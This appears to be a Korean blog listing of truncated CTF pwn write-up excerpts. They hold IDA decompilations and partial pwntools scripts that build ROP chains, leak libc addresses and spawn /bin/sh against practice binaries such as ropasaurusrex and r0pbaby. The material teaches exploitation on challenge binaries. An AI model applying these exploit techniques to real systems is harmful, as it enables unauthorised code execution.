1234567int __cdecl main(int argc, const char **argv, const char **envp){ char buf; // [rsp+0h] [rbp-10h] read(0, &buf, 256uLL); return 0;}Colored by Color Scriptercs IDA로 보면 read 받고 끝난다. 그리고 1234int get_shell(){ return system("/bin/sh");}c 이런 함수도 있는데 PIE가 걸려있음. 근데 어셈블리로 보면 12345678910111213141516171819.text:00000000000007A8 push rbp.text:00000000000007A9 mov rbp, rsp.text:00000000000007AC sub rs..
친구랑 https://github.com/yacropolisy/pwn_challenge_list/blob/764c8661b5c7f1f07bedb629cd40dd7180bb529e/pwn_list.md 여기 문제들 푸는 중인데 재밌는 문제가 있었다. 스태틱이길래 strace 해봤는데 read 하고 무슨 문자열 출력하고 끝난다. 대충 IDA로 분석 좀 해보면12345678910111213141516171819void *sub_8048F8F(){ void **v0; // edx void *result; // eax char *v2; // [esp+0h] [ebp-8h] char *v3; // [esp+4h] [ebp-4h] void *retaddr; // [esp+Ch] [ebp+4h] array[idx++]..
프로그램 자체는 간단합니다. 1번이 readData, 2번이 writeData 입니다. 123456789101112131415unsigned __int64 __fastcall readData(__int64 a1){ __int64 idx; // rax int v3; // [rsp+4h] [rbp-14h] unsigned __int64 v4; // [rsp+8h] [rbp-10h] v4 = __readfsqword(0x28u); puts("Which entry to show?"); v3 = 0; __isoc99_scanf("%u", &v3); idx = (12 * v3); if ( idx
babypwn 123456_int64 copy(){ char v1; // [rsp+0h] [rbp-80h] return __isoc99_scanf((__int64)&unk_402008, (__int64)&v1);}Colored by Color Scriptercs 여기서 overflow가 일어나고 Nx와 full relro가 걸려있다. rop 하면 된다 그냥1234567891011121314151617181920212223242526272829303132333435363738from pwn import * #context.log_level = 'debug' #p = remote('baby.uni.hctf.fun',25251) p = process('./babypwn')e = ELF('./babypwn') ..
대충 바이너리의 동작은 포켓몬을 잡고, 관리하는 동작을 하는 바이너리이다. 메뉴가 이렇게 5개로 구성이 되고 1번 메뉴에서 풀숲으로 들어가 포켓몬을 잡을 수 있다. 1번 메뉴 내부의 함수로 들어가면 이렇게 나오는데 넘겨지는 인자에 따라 포켓몬 정보를 가지고 fight 함수를 실행한다. (인자가 1이면 charizard, 2이면 kakuna) fight 함수에서는 1,2,3번 메뉴가 있는데 1번은 공격, 2번은 포켓볼 던지기, 3번은 도망치기 이다. 이렇게 포켓몬을 잡을 수 있는데 이 부분은 fight 함수에서 포켓몬을 잡고 추가할 때 인벤토리가 다 차있을 경우에 예외처리를 해주는 부분이다. 그런데 choose pokemon으로 포켓몬을 선택한 후 해당 포켓몬을 free 하고 그 위치에 잡은 포켓몬을 대입..
PIE, NX가 걸려있다. 2번 메뉴에서 system 함수의 주소를 구하고 offset을 바탕으로/bin/sh, gadget의 주소를 구해 익스 할 수 있따. 1234567891011121314151617181920212223242526272829303132from pwn import * p = process('./r0pbaby')#context(arch='amd64',os='linux',endian='little',log_level='debug') p.sendlineafter(': ','2')p.sendlineafter('symbol: ','system') p.recvuntil("Symbol system: ")system = int(p.recv(18),16) binsh = system + 0x1479c..
underflow 내고, write 함수를 사용한 다음에는 첫번째, 세번째 인자가 세팅되어있으므로pop rsi r15 가젯으로 rsi만 컨트롤 하여 릭 하고, main으로 돌리고 oneshot으로 뛰어서익스 했다 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from pwn import * p = process('./cee')e = ELF('./cee')context(arch='amd64',os='linux',endian='little',log_level='debug')POP_RSI_R15_RET = 0x00400a51main = 0x400716 def check(): #p.sendlineafter(..
123456789101112131415161718192021222324252627282930313233343536373839404142434445from pwn import * p = process('./ropasaurusrex')e = ELF('./ropasaurusrex')pppr = 0x080484b6#context(arch='i386',os='linux',endian='little',log_level='debug')payload="A"*140offset = 0x9ad60 # read- systempayload+=p32(e.plt['read'])payload+=p32(pppr)payload+=p32(0)payload+=p32(e.bss())payload+=p32(len("/bin/sh\x00")) ..
1234567891011121314151617181920212223242526272829303132333435from pwn import * p = process('./BaskinRobins31')e = ELF('./BaskinRobins31')context(arch='amd64',os='linux',endian='little',log_level='debug') POP_RDI_RSI_RDX_RET = 0x0040087amain = 0x400a4b payload="A"*184payload+=p64(POP_RDI_RSI_RDX_RET)payload+=p64(1)payload+=p64(e.got['read'])payload+=p64(8)payload+=p64(e.plt['write'])payload+=p64(..
정말 간단한 문제입니다 main 함수인데요, 간단히 read함수에서 bof가 일어납니다. 그러나 static linked 바이너리라 syscall을 이용해 문제를 풀어야합니다. 1.카나리 릭2.bof 후 read로 bss에 /bin/sh 입력3.execve 콜 대충 이렇게 시나리오를 짜고 익스 하였습니다. 유의해야할 점은 64bit 에서는 int 0x80이 아닌 syscall을 사용하고, execve("/bin/sh",NULL/NULL); 이어야 하는데 두번째 인자가 더블 포인터라 bss에 NULL을 입력하고 그곳을 가리키는 주소로 인자를 세팅해야 한다는 것입니다. 123456789101112131415161718192021222324252627282930313233343536373839404142434..